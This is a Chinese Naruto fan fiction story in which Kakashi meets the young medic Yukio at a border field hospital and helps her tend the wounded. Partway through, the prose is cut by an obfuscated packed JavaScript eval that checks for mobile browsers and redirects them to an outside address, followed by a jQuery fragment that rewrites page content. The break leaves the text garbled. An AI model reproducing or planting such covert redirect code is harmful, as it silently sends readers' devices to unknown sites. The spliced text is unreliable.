卡卡西不喜欢人多的地方。这不是什么秘密。
他已经习惯了独来独往。一个人训练,一个人吃饭,一个人回家。偶尔和带土他们组队出任务,那是工作需要。任务结束,他还是一个人。
一个人挺好。
安静,不麻烦,不用说话。
这天傍晚,他刚从训练场出来,准备回家。路过那条街的时候,他下意识放慢了脚步。
不是因为别的。
是因为那家团子店。
店里的灯光昏黄,透出暖洋洋的光。透过窗户,能看见里面坐着几个人。
带土的大嗓门隔着玻璃都能听见。
还有一个小小的人影,扎着高高的马尾,正在低头吃东西。
雪绪。
卡卡西站在街对面,看着那个小小的身影。
她正吃得开心,腮帮子鼓鼓的,嘴角沾着一点黄豆粉。带土在旁边手舞足蹈地说着什么,她一边吃一边笑,笑的眼睛眯起来。
很普通的场景,但他看了很久。
“卡卡西?”
一个声音从旁边传来。
他转头,看见一个认识的人——也是忍者,平时偶尔会碰见。
“站这儿干嘛?进去啊。”
卡卡西摇摇头。
“不进去。”
那人看了他一眼,没再问,走了。
卡卡西又看了一眼店里,然后转身离开。
回家的路上,他一直在想一个问题。
为什么每次看见那个小孩,他就会停下来?
不是故意的。就是……会停下来。好像有什么东西,让他移不开眼睛。他说不清。
只是觉得,看着她笑的时候,心里会有一点暖。很小的一点,像冬天里的一小块炭火。
到家的时候,天已经黑了。
他推开门,屋里黑漆漆的,没有灯。他摸黑走进去,没有开灯。
习惯了。反正只有一个人,开不开都一样。
他坐在走廊上,看着院子里的月亮。
脑子里又浮现出那张脸。
雪绪。那个小孩。
第一次见她的时候,她才五岁,差点被苦无砸到。他出手挡了一下,她眼睛亮晶晶地看着他,问他的名字。
后来她又见过几次。
每次都那样,眼睛亮晶晶的,喊着“卡卡西”,跑过来。问他面罩下面什么样,让他教她扔苦无。
他不知道该怎么应付。
他只会“嗯”“哦”“知道了”。
但她好像不介意。
她继续跑过来,继续喊他,继续问他。
有时候他也会想,为什么?
为什么是她?
为什么是她不怕他的冷淡?
为什么是她一直跑过来?
为什么是她——
他摇摇头,没再想下去。
月亮很亮。他看着月亮,想起她说过的话。
“卡卡西,你一个人不孤单吗?”
孤单?他不知道。他从来没想过这个问题。
父亲还在的时候,不是一个人。父亲不在了以后,就是一个人。
习惯了。习惯了就没有感觉了。
但那天她问的时候,他愣了一下。因为他发现,好像确实有点……
什么?他说不清。
只是那天晚上,他做了一个梦。
梦里不是一个人。梦里有人在笑。
第二天,他接到一个任务。
单人任务。
去边境前线送一份紧急情报。
“就你一个人。”队长说,“越快越好。”
卡卡西点点头。
收拾好东西,他就出发了。
走的时候,天刚亮。路过那条街的时候,他又看了一眼团子店。门关着。
这么早,还没开门。
他继续走。走出村子,走进树林,走向边境。
路上没什么人。只有风,和鸟叫声。他走得不快不慢,保持着稳定的速度。
脑子里很空。什么都没想。又好像什么都想了一点。
三天后,他到达边境前线。
情报送到,任务完成。
按理说,他可以休息一晚,然后返回。
但队长说:“医疗部那边缺人手,你既然来了,去帮帮忙。”
卡卡西愣住了。
“我?”他说,“我不会医疗忍术。”
“不是让你治人。”队长说,“帮忙搬东西,送水,跑腿。那边太忙了,人手不够。”
卡卡西点点头。
“在哪?”
“后面那个帐篷。”队长指了指方向,“走过去一刻钟。”
卡卡西往那个方向走去。
走了几步,他想起什么。
医疗部。
后方。
伤员。
他想起雪绪说过的话。
“我在学医疗忍术。”
“以后就能救你们了。”
“不让你们死。”
他脚步顿了顿。
然后继续往前走。
走了一刻钟,他看见那个帐篷。
很大,白色的,搭在一片相对平整的空地上。帐篷外面摆着几副担架,有人在进进出出,脚步匆匆。
他走过去,掀开帐篷的门帘。
里面比他想象的要忙。
十几个伤员躺在简易的床铺上,有人在呻吟,有人在低声说话。几个穿着白色衣服的医疗忍者在人群中穿梭,处理伤口,包扎,喂药。
空气里弥漫着血腥味和药味。他站在那里,一时不知道该找谁。
然后他听见一个声音。
“这个伤不重,先止血。”
“那边的,帮他换药。”
“老师,这个人的伤口有点深,要不要缝合?”
那个声音——
卡卡西愣住了。
他顺着声音看过去。
一个小小的身影,正蹲在一个伤员旁边,手里拿着绷带,动作熟练地包扎。
深色的衣服,高高的马尾,认真的侧脸。
是雪绪。
卡卡西站在那里,以为自己看错了。
但那张脸,那个声音,那个动作——
是她。
他往前走了几步,走近了一点。
雪绪正在包扎,没有注意到他。
她低着头,手很稳,绷带缠得整整齐齐。那个伤员是个年轻的男人,腿上有一道很深的伤口,血还在往外渗。
“有点疼,忍一下。”雪绪说。
那个男人点点头,咬着牙。
雪绪继续包扎,动作很快,但很轻。
包扎完,她抬起头,看了看那个男人的脸。
“好了。”她说,“这几天别乱动,伤口会慢慢好的。”
那个男人看着她,眼神里带着感激。
“谢谢……谢谢小姑娘。”
雪绪笑了。
“不客气。”
她站起来,准备去下一个伤员。
一转身,她愣住了。
卡卡西站在她面前。
两个人对视了三秒。
雪绪眨眨眼,又眨眨眼。
“卡卡西?”
卡卡西看着她,一时不知道该说什么。
“你怎么在这儿?”雪绪问,“你也受伤了?”
“没有。”卡卡西说,“送情报。”
雪绪上下打量了他一遍。
“真的没受伤?”
“真的。”
雪绪松了口气。
“那就好。”她说,“这里伤员太多了,再来一个我怕忙不过来。”
她说着,像是想起什么。
“对了,你吃饭了吗?”
“什么?”
“吃饭。”雪绪重复,“你赶路过来,肯定没好好吃饭。”
他确实没吃。三天赶路,只啃了几口干粮。
“没有。”他说。
雪绪点点头。
“那你等着。”
她跑开,跑到帐篷角落的一个小柜子前,打开,翻出两个饭团。然后跑回来,塞进他手里。
“吃。”
卡卡西低头看着那两个饭团。小小的,白白的,用海苔包着。
“哪来的?”他问。
“我自己做的。”雪绪说,“本来留着晚上吃,先给你。”
卡卡西抬头看她。
她站在那里,脸上沾着一点血迹,袖口卷到手肘,露出细细的小臂。
“吃啊。”她说,“凉了就不好吃了。”
卡卡西拿起一个饭团,咬了一口。
米饭,盐,还有一点点梅子的味道。
很普通。但他嚼得很慢。
“好吃吗?”雪绪期待地看着他。
卡卡西想了想。
“嗯。”
雪绪笑了。
“那就好。”
她又跑开了,继续去照顾伤员。
卡卡西站在原地,看着她的背影。
她蹲在那个伤员旁边,又开始包扎。动作熟练,表情认真,和刚才一模一样。
他慢慢嚼着饭团,看着她。
一个接一个。
包扎,换药,喂水,安慰。
她做得很自然,像是做过无数次一样。
他想起第一次见她的时候。
那时候她才五岁,差点被苦无砸到。她站在呆呆的,像没回过神,很可爱。
后来她总是跑过来,喊他“卡卡西”。
现在她七岁了,在这里救人。
一个人。
在这么多伤员中间。
他吃完最后一个饭团,把包着的叶子收好。
然后他走过去,站在她旁边。
“要我帮忙吗?”
雪绪抬头看他。
“你不是来送情报的吗?”
“送完了。”卡卡西说,“没事做。”
雪绪眨眨眼。
然后她笑了。
“好。”
她指了指旁边的一个架子。
“那边有绷带,帮我拿一下。”
卡卡西走过去,拿来绷带。
“还有水。”
“药。”
“那个毯子。”
他一样一样地拿来。
雪绪接过去,继续包扎。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297064|198580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>两个人一起忙起来。
一个包扎,一个递东西。
一个换药,一个扶着伤员。
一个喂水,一个在旁边站着,随时听候差遣。
忙了很久,天都黑了。
终于,伤员的处理告一段落。
雪绪坐在一个空着的床铺上,长长地出了一口气。
卡卡西在她旁边坐下。
两人沉默了一会儿。
雪绪开口。
“你怎么想到来帮忙?”
卡卡西想了想。
“没事做。”
雪绪转头看他。
月光从帐篷的缝隙里照进来,落在他脸上。他戴着面罩,只露出一双眼睛。
那双眼睛还是那样,没什么精神,懒懒散散的。
但她觉得,和以前不太一样。
“卡卡西。”她喊他。
“嗯?”
“谢谢。”
卡卡西看着她。
她坐在那里,头发有点乱,脸上还有汗。但眼睛还是那么的亮。
“谢什么?”
“谢你帮忙。”雪绪说,“今天太忙了,有你在轻松多了。”
卡卡西说:“不客气。”
雪绪笑了。她靠在他肩上,闭上眼睛。
“累死了……”她小声说,“让我靠一会儿。”
卡卡西的身体微微僵了一下。
但他没有动。
只是坐在那里,让她靠着。
帐篷里很安静。
伤员们都睡了,偶尔有轻微的呻吟声。远处传来风吹过树林的声音,沙沙的。
月光从缝隙里落进来,落在两人身上。
卡卡西低头,看着靠在自己肩上的人。
她闭着眼睛,呼吸均匀,像是睡着了。
脸上的疲惫,比醒着的时候更明显。
他又想起之前那些问题。
为什么每次看见她,他就会停下来?
为什么她不怕他的冷淡?
为什么她会一直跑过来?
他好像有点明白了。
因为她在。
因为她总是那样,亮晶晶的,笑着的,跑过来的。
因为她让那个一直空着的地方,有了一点暖。
很小的一点。
但够了。
他没有动。
只是让她靠着。
过了一会儿,她动了动。
“卡卡西。”
“嗯?”
“你明天走吗?”
“嗯。”
“那下次什么时候见?”
卡卡西想了想。
“不知道。”
雪绪沉默了一会儿。
然后她伸手,从怀里掏出一个小东西。
是一块糖。
透明的纸包着。
“给你。”她说,“路上吃。”
卡卡西看着那块糖,愣了一下。
“你还有?”
“攒的。”雪绪说,“一直攒着。”
她把糖塞进他手里。
卡卡西低头看着那块糖。
“卡卡西?”雪绪喊他。
他回过神。
“嗯?”
“你在想什么?”
卡卡西想了想,诚实地回答。
“糖。”
雪绪眨眨眼。
“糖?”
“嗯。”卡卡西点头,“你很喜欢吃糖。”
听到这话,雪绪抬眼望向他,眸子里水盈盈的,洒满了星辉:“因为吃糖能够让心情变好啊。卡卡西,你每天都要开开心心的。”
卡卡西看着她。
看着她弯弯的眼睛,看着她脸上的笑。
心里那点暖,好像变大了一点。
“好。”他说。
第二天早上,卡卡西要走了。
雪绪送他到帐篷外面。
天刚亮,晨雾还没散。远处的山峦若隐若现,像一幅水墨画。
“路上小心。”雪绪说。
卡卡西点点头。
他转身要走。
“卡卡西。”雪绪喊他。
他回头。
雪绪站在晨雾里,小小的身影,高高的马尾。
“下次见面,”她说,“我请你吃团子。”
卡卡西看着她。
看着她认真的脸。
“好。”他说。
他转身,走进晨雾里。
走了几步,他回头看了一眼。
她还站在那里,朝他挥手。
他也挥了挥手。
然后继续往前走。
走了很远,他想起一件事。
她没有问他面罩下面什么样。
这次没有。
他摸了摸自己的面罩。
回木叶的路上,他走得比来时慢一点。
不是累。
是在想事情。
想她蹲在伤员旁边的样子。
想她递饭团给他的样子。
想她靠在他肩上的样子。
想她说“我们一起吃”的样子。
想着想着,他发现,这条路好像没那么长了。